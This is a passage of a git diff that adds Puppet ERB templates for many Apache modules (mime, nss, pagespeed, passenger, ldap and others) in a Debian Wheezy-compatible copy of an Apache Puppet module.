a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/cgid.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/cgid.conf.erb new file mode 100644 index 000000000..5f82d7424 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/cgid.conf.erb @@ -0,0 +1 @@ +ScriptSock "<%= @cgisock_path %>" diff --git a/modules/services/unix/http/apache/templates/mod/cluster.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/cluster.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/cluster.conf.erb rename to modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/cluster.conf.erb diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/dav_fs.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/dav_fs.conf.erb new file mode 100644 index 000000000..3c53e9e14 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/dav_fs.conf.erb @@ -0,0 +1 @@ +DAVLockDB "<%= @dav_lock %>" diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/deflate.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/deflate.conf.erb new file mode 100644 index 000000000..ede8b2e76 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/deflate.conf.erb @@ -0,0 +1,7 @@ +<%- @types.sort.each do |type| -%> +AddOutputFilterByType DEFLATE <%= type %> +<%- end -%> + +<%- @notes.sort.each do |type,note| -%> +DeflateFilterNote <%= type %> <%=note %> +<%- end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/dir.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/dir.conf.erb new file mode 100644 index 000000000..741f6ae03 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/dir.conf.erb @@ -0,0 +1 @@ +DirectoryIndex <%= @indexes.join(' ') %> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/disk_cache.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/disk_cache.conf.erb new file mode 100644 index 000000000..b1b460e52 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/disk_cache.conf.erb @@ -0,0 +1,4 @@ +CacheEnable disk / +CacheRoot "<%= @_cache_root %>" +CacheDirLevels 2 +CacheDirLength 1 diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/dumpio.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/dumpio.conf.erb new file mode 100644 index 000000000..29c34e2a5 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/dumpio.conf.erb @@ -0,0 +1,3 @@ +# https://httpd.apache.org/docs/2.4/mod/mod_dumpio.html +DumpIOInput "<%= @dump_io_input %>" +DumpIOOutput "<%= @dump_io_output %>" diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/event.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/event.conf.erb new file mode 100644 index 000000000..bca707c93 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/event.conf.erb @@ -0,0 +1,33 @@ + + <%- if @serverlimit -%> + ServerLimit <%= @serverlimit %> + <%- end -%> + <%- if @startservers -%> + StartServers <%= @startservers %> + <%- end -%> + <%- if @maxrequestworkers -%> + MaxRequestWorkers <%= @maxrequestworkers %> + <%- elsif @maxclients -%> + MaxClients <%= @maxclients %> + <%- end -%> + <%- if @minsparethreads -%> + MinSpareThreads <%= @minsparethreads %> + <%- end -%> + <%- if @maxsparethreads -%> + MaxSpareThreads <%= @maxsparethreads %> + <%- end -%> + <%- if @threadsperchild -%> + ThreadsPerChild <%= @threadsperchild %> + <%- end -%> + <%- if @maxconnectionsperchild -%> + MaxConnectionsPerChild <%= @maxconnectionsperchild %> + <%- elsif @maxrequestsperchild -%> + MaxRequestsPerChild <%= @maxrequestsperchild %> + <%- end -%> + <%- if @threadlimit -%> + ThreadLimit <%= @threadlimit %> + <%- end -%> + <%- if @listenbacklog -%> + ListenBacklog <%= @listenbacklog %> + <%- end -%> + diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/expires.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/expires.conf.erb new file mode 100644 index 000000000..7660cfcd0 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/expires.conf.erb @@ -0,0 +1,11 @@ +ExpiresActive <%= scope.function_bool2httpd([@expires_active]) %> +<%- if ! @expires_default.nil? and ! @expires_default.empty? -%> +ExpiresDefault "<%= @expires_default %>" +<%- end -%> +<%- if ! @expires_by_type.nil? and ! @expires_by_type.empty? -%> +<%- [@expires_by_type].flatten.each do |line| -%> +<%- line.map do |type, seconds| -%> +ExpiresByType <%= type %> "<%= seconds -%>" +<%- end -%> +<%- end -%> +<%- end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/ext_filter.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/ext_filter.conf.erb new file mode 100644 index 000000000..67f98fd4c --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/ext_filter.conf.erb @@ -0,0 +1,6 @@ +# mod_ext_filter definitions +<%- if @ext_filter_define.length >= 1 -%> +<%- @ext_filter_define.keys.sort.each do |name| -%> +ExtFilterDefine <%= name %> <%= @ext_filter_define[name] %> +<%- end -%> +<%- end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/fastcgi.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/fastcgi.conf.erb new file mode 100644 index 000000000..93c8d86ab --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/fastcgi.conf.erb @@ -0,0 +1,8 @@ +# The Fastcgi Apache module configuration file is being +# managed by Puppet and changes will be overwritten. + + + SetHandler fastcgi-script + + FastCgiIpcDir "<%= @fastcgi_lib_path %>" + diff --git a/modules/services/unix/http/apache/templates/mod/unixd_fcgid.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/fcgid.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/unixd_fcgid.conf.erb rename to modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/fcgid.conf.erb diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/geoip.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/geoip.conf.erb new file mode 100644 index 000000000..00e61d98b --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/geoip.conf.erb @@ -0,0 +1,25 @@ +GeoIPEnable <%= scope.function_bool2httpd([@enable]) %> + +<%- if @db_file and ! [ false, 'false', '' ].include?(@db_file) -%> + <%- if @db_file.kind_of?(Array) -%> + <%- Array(@db_file).each do |file| -%> +GeoIPDBFile <%= file %> <%= @flag %> + <%- end -%> + <%- else -%> +GeoIPDBFile <%= @db_file %> <%= @flag %> + <%- end -%> +<%- end -%> +GeoIPOutput <%= @output %> +<% if ! @enable_utf8.nil? -%> +GeoIPEnableUTF8 <%= scope.function_bool2httpd([@enable_utf8]) %> +<% end -%> +<% if ! @scan_proxy_headers.nil? -%> +GeoIPScanProxyHeaders <%= scope.function_bool2httpd([@scan_proxy_headers]) %> +<% end -%> +<% if ! @scan_proxy_header_field.nil? -%> +GeoIPScanProxyHeaderField <%= @scan_proxy_header_field %> +<% end -%> +<% if ! @use_last_xforwarededfor_ip.nil? -%> +GeoIPUseLastXForwardedForIP <%= scope.function_bool2httpd([@use_last_xforwarededfor_ip]) %> +<% end -%> + diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/info.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/info.conf.erb new file mode 100644 index 000000000..c661a23ab --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/info.conf.erb @@ -0,0 +1,19 @@ +> + SetHandler server-info +<%- if @restrict_access -%> + <%- if scope.function_versioncmp([@_apache_version, '2.4']) >= 0 -%> + Require ip <%= Array(@allow_from).join(" ") %> + <%- else -%> + Order deny,allow + Deny from all + <%- if @allow_from and ! @allow_from.empty? -%> + <%- @allow_from.each do |allowed| -%> + Allow from <%= allowed %> + <%- end -%> + <%- else -%> + Allow from 127.0.0.1 + Allow from ::1 + <%- end -%> + <%- end -%> +<%- end -%> + diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/itk.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/itk.conf.erb new file mode 100644 index 000000000..f45f2b35d --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/itk.conf.erb @@ -0,0 +1,8 @@ + + StartServers <%= @startservers %> + MinSpareServers <%= @minspareservers %> + MaxSpareServers <%= @maxspareservers %> + ServerLimit <%= @serverlimit %> + MaxClients <%= @maxclients %> + MaxRequestsPerChild <%= @maxrequestsperchild %> + diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/ldap.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/ldap.conf.erb new file mode 100644 index 000000000..5ac0c1c54 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/ldap.conf.erb @@ -0,0 +1,29 @@ + + SetHandler ldap-status + <%- if scope.function_versioncmp([@_apache_version, '2.4']) >= 0 -%> + Require ip 127.0.0.1 ::1 + <%- else -%> + Order deny,allow + Deny from all + Allow from 127.0.0.1 ::1 + Satisfy all + <%- end -%> + +<% if @ldap_trusted_global_cert_file -%> +LDAPTrustedGlobalCert <%= @ldap_trusted_global_cert_type %> <%= @ldap_trusted_global_cert_file %> +<% end -%> +<%- if @ldap_shared_cache_size -%> +LDAPSharedCacheSize <%= @ldap_shared_cache_size %> +<%- end -%> +<%- if @ldap_cache_entries -%> +LDAPCacheEntries <%= @ldap_cache_entries %> +<%- end -%> +<%- if @ldap_cache_ttl -%> +LDAPCacheTTL <%= @ldap_cache_ttl %> +<%- end -%> +<%- if @ldap_opcache_entries -%> +LDAPOpCacheEntries <%= @ldap_opcache_entries %> +<%- end -%> +<%- if @ldap_opcache_ttl -%> +LDAPOpCacheTTL <%= @ldap_opcache_ttl %> +<%- end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/load.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/load.erb new file mode 100644 index 000000000..51f45edb2 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/load.erb @@ -0,0 +1,7 @@ +<% if @loadfiles -%> +<% Array(@loadfiles).each do |loadfile| -%> +LoadFile <%= loadfile %> +<% end -%> + +<% end -%> +LoadModule <%= @_id %> <%= @_path %> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/mime.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/mime.conf.erb new file mode 100644 index 000000000..46d021c21 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/mime.conf.erb @@ -0,0 +1,38 @@ +TypesConfig <%= @mime_types_config %> + +AddType application/x-compress .Z +AddType application/x-gzip .gz .tgz +AddType application/x-bzip2 .bz2 + +AddLanguage ca .ca +AddLanguage cs .cz .cs +AddLanguage da .dk +AddLanguage de .de +AddLanguage el .el +AddLanguage en .en +AddLanguage eo .eo +AddLanguage es .es +AddLanguage et .et +AddLanguage fr .fr +AddLanguage he .he +AddLanguage hr .hr +AddLanguage it .it +AddLanguage ja .ja +AddLanguage ko .ko +AddLanguage ltz .ltz +AddLanguage nl .nl +AddLanguage nn .nn +AddLanguage no .no +AddLanguage pl .po +AddLanguage pt .pt +AddLanguage pt-BR .pt-br +AddLanguage ru .ru +AddLanguage sv .sv +AddLanguage zh-CN .zh-cn +AddLanguage zh-TW .zh-tw + +<%- @_mime_types_additional.sort.each do |add_mime, config| -%> + <%- config.each do |type, extension| %> +<%= add_mime %> <%= type %> <%= extension%> + <%- end -%> +<% end %> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/mime_magic.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/mime_magic.conf.erb new file mode 100644 index 000000000..cbc173deb --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/mime_magic.conf.erb @@ -0,0 +1 @@ +MIMEMagicFile "<%= @_magic_file %>" diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/mpm_event.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/mpm_event.conf.erb new file mode 100644 index 000000000..eb6f1ff5f --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/mpm_event.conf.erb @@ -0,0 +1,9 @@ + + StartServers 2 + MinSpareThreads 25 + MaxSpareThreads 75 + ThreadLimit 64 + ThreadsPerChild 25 + MaxClients 150 + MaxRequestsPerChild 0 + diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/negotiation.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/negotiation.conf.erb new file mode 100644 index 000000000..2fb4700d6 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/negotiation.conf.erb @@ -0,0 +1,2 @@ +LanguagePriority <%= Array(@language_priority).join(' ') %> +ForceLanguagePriority <%= Array(@force_language_priority).join(' ') %> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/nss.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/nss.conf.erb new file mode 100644 index 000000000..36f83d865 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/nss.conf.erb @@ -0,0 +1,228 @@ +# +# This is the Apache server configuration file providing SSL support using. +# the mod_nss plugin. It contains the configuration directives to instruct +# the server how to serve pages over an https connection. +# +# Do NOT simply read the instructions in here without understanding +# what they do. They're here only as hints or reminders. If you are unsure +# consult the online docs. You have been warned. +# + +#LoadModule nss_module modules/libmodnss.so + +# +# When we also provide SSL we have to listen to the +# standard HTTP port (see above) and to the HTTPS port +# +# Note: Configurations that use IPv6 but not IPv4-mapped addresses need two +# Listen directives: "Listen [::]:8443" and "Listen 0.0.0.0:443" +# +Listen <%= @port %> + +## +## SSL Global Context +## +## All SSL configuration in this context applies both to +## the main server and all SSL-enabled virtual hosts. +## + +# +# Some MIME-types for downloading Certificates and CRLs +# +AddType application/x-x509-ca-cert .crt +AddType application/x-pkcs7-crl .crl + +# Pass Phrase Dialog: +# Configure the pass phrase gathering process. +# The filtering dialog program (`builtin' is a internal +# terminal dialog) has to provide the pass phrase on stdout. +<% if @passwd_file -%> +NSSPassPhraseDialog "file:<%= @passwd_file %>" +<% else -%> +NSSPassPhraseDialog builtin +<% end -%> + +# Pass Phrase Helper: +# This helper program stores the token password pins between +# restarts of Apache. +NSSPassPhraseHelper /usr/sbin/nss_pcache + +# Configure the SSL Session Cache. +# NSSSessionCacheSize is the number of entries in the cache. +# NSSSessionCacheTimeout is the SSL2 session timeout (in seconds). +# NSSSession3CacheTimeout is the SSL3/TLS session timeout (in seconds). +NSSSessionCacheSize 10000 +NSSSessionCacheTimeout 100 +NSSSession3CacheTimeout 86400 + +# +# Pseudo Random Number Generator (PRNG): +# Configure one or more sources to seed the PRNG of the SSL library. +# The seed data should be of good random quality. +# WARNING! On some platforms /dev/random blocks if not enough entropy +# is available. Those platforms usually also provide a non-blocking +# device, /dev/urandom, which may be used instead. +# +# This does not support seeding the RNG with each connection. + +NSSRandomSeed startup builtin +#NSSRandomSeed startup file:/dev/random 512 +#NSSRandomSeed startup file:/dev/urandom 512 + +# +# TLS Negotiation configuration under RFC 5746 +# +# Only renegotiate if the peer's hello bears the TLS renegotiation_info +# extension. Default off. +NSSRenegotiation off + +# Peer must send Signaling Cipher Suite Value (SCSV) or +# Renegotiation Info (RI) extension in ALL handshakes. Default: off +NSSRequireSafeNegotiation off + +## +## SSL Virtual Host Context +## + +> + +# General setup for the virtual host +#DocumentRoot "/etc/httpd/htdocs" +#ServerName www.example.com:8443 +#ServerAdmin you@example.com + +# mod_nss can log to separate log files, you can choose to do that if you'd like +# LogLevel is not inherited from httpd.conf. +ErrorLog "<%= @error_log %>" +TransferLog "<%= @transfer_log %>" +LogLevel warn + +# SSL Engine Switch: +# Enable/Disable SSL for this virtual host. +NSSEngine on + +# SSL Cipher Suite: +# List the ciphers that the client is permitted to negotiate. +# See the mod_nss documentation for a complete list. + +# SSL 3 ciphers. SSL 2 is disabled by default. +NSSCipherSuite +rsa_rc4_128_md5,+rsa_rc4_128_sha,+rsa_3des_sha,-rsa_des_sha,-rsa_rc4_40_md5,-rsa_rc2_40_md5,-rsa_null_md5,-rsa_null_sha,+fips_3des_sha,-fips_des_sha,-fortezza,-fortezza_rc4_128_sha,-fortezza_null,-rsa_des_56_sha,-rsa_rc4_56_sha,+rsa_aes_128_sha,+rsa_aes_256_sha + +# SSL 3 ciphers + ECC ciphers. SSL 2 is disabled by default. +# +# Comment out the NSSCipherSuite line above and use the one below if you have +# ECC enabled NSS and mod_nss and want to use Elliptical Curve Cryptography +#NSSCipherSuite +rsa_rc4_128_md5,+rsa_rc4_128_sha,+rsa_3des_sha,-rsa_des_sha,-rsa_rc4_40_md5,-rsa_rc2_40_md5,-rsa_null_md5,-rsa_null_sha,+fips_3des_sha,-fips_des_sha,-fortezza,-fortezza_rc4_128_sha,-fortezza_null,-rsa_des_56_sha,-rsa_rc4_56_sha,+rsa_aes_128_sha,+rsa_aes_256_sha,-ecdh_ecdsa_null_sha,+ecdh_ecdsa_rc4_128_sha,+ecdh_ecdsa_3des_sha,+ecdh_ecdsa_aes_128_sha,+ecdh_ecdsa_aes_256_sha,-ecdhe_ecdsa_null_sha,+ecdhe_ecdsa_rc4_128_sha,+ecdhe_ecdsa_3des_sha,+ecdhe_ecdsa_aes_128_sha,+ecdhe_ecdsa_aes_256_sha,-ecdh_rsa_null_sha,+ecdh_rsa_128_sha,+ecdh_rsa_3des_sha,+ecdh_rsa_aes_128_sha,+ecdh_rsa_aes_256_sha,-echde_rsa_null,+ecdhe_rsa_rc4_128_sha,+ecdhe_rsa_3des_sha,+ecdhe_rsa_aes_128_sha,+ecdhe_rsa_aes_256_sha + +# SSL Protocol: +# Cryptographic protocols that provide communication security. +# NSS handles the specified protocols as "ranges", and automatically +# negotiates the use of the strongest protocol for a connection starting +# with the maximum specified protocol and downgrading as necessary to the +# minimum specified protocol that can be used between two processes. +# Since all protocol ranges are completely inclusive, and no protocol in the +# middle of a range may be excluded, the entry "NSSProtocol TLSv1.0,TLSv1.2" +# is identical to the entry "NSSProtocol TLSv1.0,TLSv1.1,TLSv1.2". +NSSProtocol TLSv1.0,TLSv1.1 + +# SSL Certificate Nickname: +# The nickname of the RSA server certificate you are going to use. +NSSNickname Server-Cert + +# SSL Certificate Nickname: +# The nickname of the ECC server certificate you are going to use, if you +# have an ECC-enabled version of NSS and mod_nss +#NSSECCNickname Server-Cert-ecc + +# Server Certificate Database: +# The NSS security database directory that holds the certificates and +# keys. The database consists of 3 files: cert8.db, key3.db and secmod.db. +# Provide the directory that these files exist. +NSSCertificateDatabase "<%= @httpd_dir -%>/alias" + +# Database Prefix: +# In order to be able to store multiple NSS databases in one directory +# they need unique names. This option sets the database prefix used for +# cert8.db and key3.db. +#NSSDBPrefix my-prefix- + +# Client Authentication (Type): +# Client certificate verification type. Types are none, optional and +# require. +#NSSVerifyClient none + +# +# Online Certificate Status Protocol (OCSP). +# Verify that certificates have not been revoked before accepting them. +#NSSOCSP off + +# +# Use a default OCSP responder. If enabled this will be used regardless +# of whether one is included in a client certificate. Note that the +# server certificate is verified during startup. +# +# NSSOCSPDefaultURL defines the service URL of the OCSP responder +# NSSOCSPDefaultName is the nickname of the certificate to trust to +# sign the OCSP responses. +#NSSOCSPDefaultResponder on +#NSSOCSPDefaultURL http://example.com/ocsp/status +#NSSOCSPDefaultName ocsp-nickname + +# Access Control: +# With SSLRequire you can do per-directory access control based +# on arbitrary complex boolean expressions containing server +# variable checks and other lookup directives. The syntax is a +# mixture between C and Perl. See the mod_nss documentation +# for more details. +# +#NSSRequire ( %{SSL_CIPHER} !~ m/^(EXP|NULL)/ \ +# and %{SSL_CLIENT_S_DN_O} eq "Snake Oil, Ltd." \ +# and %{SSL_CLIENT_S_DN_OU} in {"Staff", "CA", "Dev"} \ +# and %{TIME_WDAY} >= 1 and %{TIME_WDAY} <= 5 \ +# and %{TIME_HOUR} >= 8 and %{TIME_HOUR} <= 20 ) \ +# or %{REMOTE_ADDR} =~ m/^192\.76\.162\.[0-9]+$/ +# + +# SSL Engine Options: +# Set various options for the SSL engine. +# o FakeBasicAuth: +# Translate the client X.509 into a Basic Authorisation. This means that +# the standard Auth/DBMAuth methods can be used for access control. The +# user name is the `one line' version of the client's X.509 certificate. +# Note that no password is obtained from the user. Every entry in the user +# file needs this password: `xxj31ZMTZzkVA'. +# o ExportCertData: +# This exports two additional environment variables: SSL_CLIENT_CERT and +# SSL_SERVER_CERT. These contain the PEM-encoded certificates of the +# server (always existing) and the client (only existing when client +# authentication is used). This can be used to import the certificates +# into CGI scripts. +# o StdEnvVars: +# This exports the standard SSL/TLS related `SSL_*' environment variables. +# Per default this exportation is switched off for performance reasons, +# because the extraction step is an expensive operation and is usually +# useless for serving static content. So one usually enables the +# exportation for CGI and SSI requests only. +# o StrictRequire: +# This denies access when "NSSRequireSSL" or "NSSRequire" applied even +# under a "Satisfy any" situation, i.e. when it applies access is denied +# and no other module can change it. +# o OptRenegotiate: +# This enables optimized SSL connection renegotiation handling when SSL +# directives are used in per-directory context. +#NSSOptions +FakeBasicAuth +ExportCertData +CompatEnvVars +StrictRequire + + NSSOptions +StdEnvVars + + + NSSOptions +StdEnvVars + + +# Per-Server Logging: +# The home of a custom SSL log file. Use this when you want a +# compact non-error SSL logfile on a virtual host basis. +#CustomLog /home/rcrit/redhat/apache/logs/ssl_request_log \ +# "%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x \"%r\" %b" + + + diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/pagespeed.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/pagespeed.conf.erb new file mode 100644 index 000000000..56e72fe29 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/pagespeed.conf.erb @@ -0,0 +1,102 @@ +ModPagespeed on + +ModPagespeedInheritVHostConfig <%= @inherit_vhost_config %> +AddOutputFilterByType MOD_PAGESPEED_OUTPUT_FILTER text/html +<% if @filter_xhtml -%> +AddOutputFilterByType MOD_PAGESPEED_OUTPUT_FILTER application/xhtml+xml +<% end -%> +ModPagespeedFileCachePath "<%= @cache_path %>" +ModPagespeedLogDir "<%= @log_dir %>" + +<% @memcache_servers.each do |server| -%> +ModPagespeedMemcachedServers <%= server %> +<% end -%> + +ModPagespeedRewriteLevel <%= @rewrite_level -%> + +<% @disable_filters.each do |filter| -%> +ModPagespeedDisableFilters <%= filter %> +<% end -%> + +<% @enable_filters.each do |filter| -%> +ModPagespeedEnableFilters <%= filter %> +<% end -%> + +<% @forbid_filters.each do |filter| -%> +ModPagespeedForbidFilters <%= filter %> +<% end -%> + +ModPagespeedRewriteDeadlinePerFlushMs <%= @rewrite_deadline_per_flush_ms %> + +<% if @additional_domains -%> +ModPagespeedDomain <%= @additional_domains -%> +<% end -%> + +ModPagespeedFileCacheSizeKb <%= @file_cache_size_kb %> +ModPagespeedFileCacheCleanIntervalMs <%= @file_cache_clean_interval_ms %> +ModPagespeedLRUCacheKbPerProcess <%= @lru_cache_per_process %> +ModPagespeedLRUCacheByteLimit <%= @lru_cache_byte_limit %> +ModPagespeedCssFlattenMaxBytes <%= @css_flatten_max_bytes %> +ModPagespeedCssInlineMaxBytes <%= @css_inline_max_bytes %> +ModPagespeedCssImageInlineMaxBytes <%= @css_image_inline_max_bytes %> +ModPagespeedImageInlineMaxBytes <%= @image_inline_max_bytes %> +ModPagespeedJsInlineMaxBytes <%= @js_inline_max_bytes %> +ModPagespeedCssOutlineMinBytes <%= @css_outline_min_bytes %> +ModPagespeedJsOutlineMinBytes <%= @js_outline_min_bytes %> + + +ModPagespeedFileCacheInodeLimit <%= @inode_limit %> +ModPagespeedImageMaxRewritesAtOnce <%= @image_max_rewrites_at_once %> + +ModPagespeedNumRewriteThreads <%= @num_rewrite_threads %> +ModPagespeedNumExpensiveRewriteThreads <%= @num_expensive_rewrite_threads %> + +ModPagespeedStatistics <%= @collect_statistics %> + + + # You may insert other "Allow from" lines to add hosts you want to + # allow to look at generated statistics. Another possibility is + # to comment out the "Order" and "Allow" options from the config + # file, to allow any client that can reach your server to examine + # statistics. This might be appropriate in an experimental setup or + # if the Apache server is protected by a reverse proxy that will + # filter URLs in some fashion. + <%- if scope.function_versioncmp([@_apache_version, '2.4']) >= 0 -%> + Require ip 127.0.0.1 ::1 <%= Array(@allow_view_stats).join(" ") %> + <%- else -%> + Order allow,deny + Allow from 127.0.0.1 ::1 <%= Array(@allow_view_stats).join(" ") %> + <%- end -%> + SetHandler mod_pagespeed_statistics + + +ModPagespeedStatisticsLogging <%= @statistics_logging %> + + <%- if scope.function_versioncmp([@_apache_version, '2.4']) >= 0 -%> + Require ip 127.0.0.1 ::1 <%= Array(@allow_pagespeed_console).join(" ") %> + <%- else -%> + Order allow,deny + Allow from 127.0.0.1 ::1 <%= Array(@allow_pagespeed_console).join(" ") %> + <%- end -%> + SetHandler pagespeed_console + + +ModPagespeedMessageBufferSize <%= @message_buffer_size %> + + + <%- if scope.function_versioncmp([@_apache_version, '2.4']) >= 0 -%> + Require ip 127.0.0.1 ::1 <%= Array(@allow_pagespeed_message).join(" ") %> + <%- else -%> + Order allow,deny + Allow from 127.0.0.1 ::1 <%= Array(@allow_pagespeed_message).join(" ") %> + <%- end -%> + SetHandler mod_pagespeed_message + + +<% if @additional_configuration.is_a? Array -%> +<%= @additional_configuration.join("\n") %> +<% else -%> +<% @additional_configuration.each_pair do |key, value| -%> +<%= key %> <%= value %> +<% end -%> +<% end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/passenger.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/passenger.conf.erb new file mode 100644 index 000000000..03ff534d2 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/passenger.conf.erb @@ -0,0 +1,61 @@ +# The Passenger Apache module configuration file is being +# managed by Puppet and changes will be overwritten. + + <%- if @passenger_root -%> + PassengerRoot "<%= @passenger_root %>" + <%- end -%> + <%- if @passenger_ruby -%> + PassengerRuby "<%= @passenger_ruby %>" + <%- end -%> + <%- if @passenger_default_ruby -%> + PassengerDefaultRuby "<%= @passenger_default_ruby %>" + <%- end -%> + <%- if @passenger_high_performance -%> + PassengerHighPerformance <%= @passenger_high_performance %> + <%- end -%> + <%- if @passenger_max_pool_size -%> + PassengerMaxPoolSize <%= @passenger_max_pool_size %> + <%- end -%> + <%- if @passenger_min_instances -%> + PassengerMinInstances <%= @passenger_min_instances %> + <%- end -%> + <%- if @passenger_max_instances_per_app -%> + PassengerMaxInstancesPerApp <%= @passenger_max_instances_per_app %> + <%- end -%> + <%- if @passenger_pool_idle_time -%> + PassengerPoolIdleTime <%= @passenger_pool_idle_time %> + <%- end -%> + <%- if @passenger_max_request_queue_size -%> + PassengerMaxRequestQueueSize <%= @passenger_max_request_queue_size %> + <%- end -%> + <%- if @passenger_max_requests -%> + PassengerMaxRequests <%= @passenger_max_requests %> + <%- end -%> + <%- if @passenger_spawn_method -%> + PassengerSpawnMethod <%= @passenger_spawn_method %> + <%- end -%> + <%- if @passenger_stat_throttle_rate -%> + PassengerStatThrottleRate <%= @passenger_stat_throttle_rate %> + <%- end -%> + <%- if @rack_autodetect -%> + RackAutoDetect <%= @rack_autodetect %> + <%- end -%> + <%- if @rails_autodetect -%> + RailsAutoDetect <%= @rails_autodetect %> + <%- end -%> + <%- if @passenger_use_global_queue -%> + PassengerUseGlobalQueue <%= @passenger_use_global_queue %> + <%- end -%> + <%- if @passenger_app_env -%> + PassengerAppEnv <%= @passenger_app_env %> + <%- end -%> + <%- if @passenger_log_file -%> + PassengerLogFile <%= @passenger_log_file %> + <%- end -%> + <%- if @passenger_log_level -%> + PassengerLogLevel <%= @passenger_log_level %> + <%- end -%> + <%- if @passenger_data_buffer_dir -%> + PassengerDataBufferDir <%= @passenger_data_buffer_dir %> + <%- end -%> + diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/peruser.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/peruser.conf.erb new file mode 100644 index 000000000..13c8d708d --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/peruser.conf.erb @@ -0,0 +1,12 @@ + + MinSpareProcessors <%= @minspareprocessors %> + MinProcessors <%= @minprocessors %> + MaxProcessors <%= @maxprocessors %> + MaxClients <%= @maxclients %> + MaxRequestsPerChild <%= @maxrequestsperchild %> + IdleTimeout <%= @idletimeout %> + ExpireTimeout <%= @expiretimeout %> + KeepAlive <%= @keepalive %> + Include "<%= @mod_dir %>/peruser/multiplexers/*.conf" + Include "<%= @mod_dir %>/peruser/processors/*.conf" + diff --git 